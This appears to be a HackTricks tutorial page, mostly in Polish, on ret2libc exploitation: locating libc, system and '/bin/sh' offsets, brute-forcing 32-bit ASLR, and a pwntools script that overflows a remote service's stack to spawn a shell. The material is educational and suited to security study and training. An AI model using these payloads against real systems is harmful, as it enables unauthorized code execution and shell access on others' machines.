Ret2lib

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Istota Ret2Libc polega na przekierowaniu przepływu wykonania podatnego programu do funkcji znajdującej się w bibliotece współdzielonej (np. system, execve, strcpy) zamiast uruchamiać dostarczony przez atakującego shellcode na stosie. Atakujący tworzy payload, który modyfikuje adres powrotu na stosie tak, aby wskazywał na wybraną funkcję biblioteczną, jednocześnie ustawiając niezbędne argumenty zgodnie z konwencją wywołań.

Przykładowe kroki (uproszczone)

  • Uzyskaj adres funkcji do wywołania (np. system) oraz polecenie do wykonania (np. /bin/sh)
  • Wygeneruj łańcuch ROP, aby przekazać pierwszy argument wskazujący na łańcuch polecenia i przekierować przepływ wykonania do funkcji

Znajdowanie adresów

  • Zakładając, że używana libc pochodzi z bieżącej maszyny, możesz znaleźć miejsce, w którym zostanie załadowana w pamięci, za pomocą:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Jeśli chcesz sprawdzić, czy ASLR zmienia adres libc, możesz zrobić:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Znając używaną libc, możliwe jest także znalezienie offsetu do funkcji system za pomocą:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Znając używaną libc, możliwe jest również znalezienie offsetu do łańcucha /bin/sh za pomocą:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Korzystanie z gdb-peda / GEF

Znając używaną libc, można również użyć Peda lub GEF, aby uzyskać adres funkcji system, funkcji exit oraz łańcucha znaków /bin/sh :

p system
p exit
find "/bin/sh"

Korzystanie z /proc/<PID>/maps

Jeśli proces tworzy children za każdym razem, gdy się z nim komunikujesz (serwer sieciowy), spróbuj read tego pliku (prawdopodobnie będziesz musiał być root).

Tutaj możesz znaleźć dokładnie, gdzie libc jest załadowana wewnątrz procesu oraz gdzie będzie załadowana dla każdego child procesu.

W tym przypadku jest załadowana w 0xb75dc000 (To będzie base address of libc)

Unknown libc

Może się zdarzyć, że nie znasz libc, którą ładuje binarka (ponieważ może być umieszczona na serwerze, do którego nie masz dostępu). W takim przypadku możesz wykorzystać podatność, aby leak some addresses i ustalić, która biblioteka libc jest używana:

Leaking libc address with ROP

I możesz znaleźć szablon pwntools do tego w:

Leaking libc - template

Know libc with 2 offsets

Sprawdź stronę https://libc.blukat.me/ i użyj kilku adresów funkcji z libc, aby dowiedzieć się, jaka wersja jest używana.

Bypassing ASLR in 32 bits

These brute-forcing attacks are only useful for 32bit systems.

  • Jeśli exploit jest lokalny, możesz spróbować brute-force the base address of libc (useful for 32bit systems):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Jeśli atakujesz zdalny serwer, możesz spróbować brute-force the address of the libc function usleep, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie odpowiedź serwera opóźnia się o dodatkowe 10s, znalazłeś adres tej funkcji.

One Gadget

Uruchom powłokę, skacząc bezpośrednio do jednego konkretnego adresu w libc:

One Gadget

x86 Ret2lib Code Example

W tym przykładzie ASLR brute-force jest zintegrowany w kodzie, a podatny program binarny znajduje się na zdalnym serwerze:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

Przykład kodu x64 Ret2lib

Sprawdź przykład z:

ROP & JOP

Przykład ARM64 Ret2lib

W przypadku ARM64 instrukcja ret skacze tam, gdzie wskazuje rejestr x30, a nie tam, gdzie wskazuje rejestr stosu. Dlatego jest to trochę bardziej skomplikowane.

Również na ARM64 instrukcja robi to, co robi (nie można skakać w środku instrukcji i przekształcać ich w nowe).

Zobacz przykład w:

Ret2lib + Printf leak - arm64

Ret-into-printf (lub puts)

To pozwala leak information from the process poprzez wywołanie printf/puts z określonymi danymi przekazanymi jako argument. Na przykład umieszczenie adresu puts w GOT w wywołaniu puts spowoduje leak the address of puts in memory.

Ret2printf

To w zasadzie oznacza wykorzystanie Ret2lib to transform it into a printf format strings vulnerability przez użycie ret2lib do wywołania printf z wartościami służącymi do exploita (brzmi bezużytecznie, ale możliwe):

Format Strings

Inne przykłady i odniesienia

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks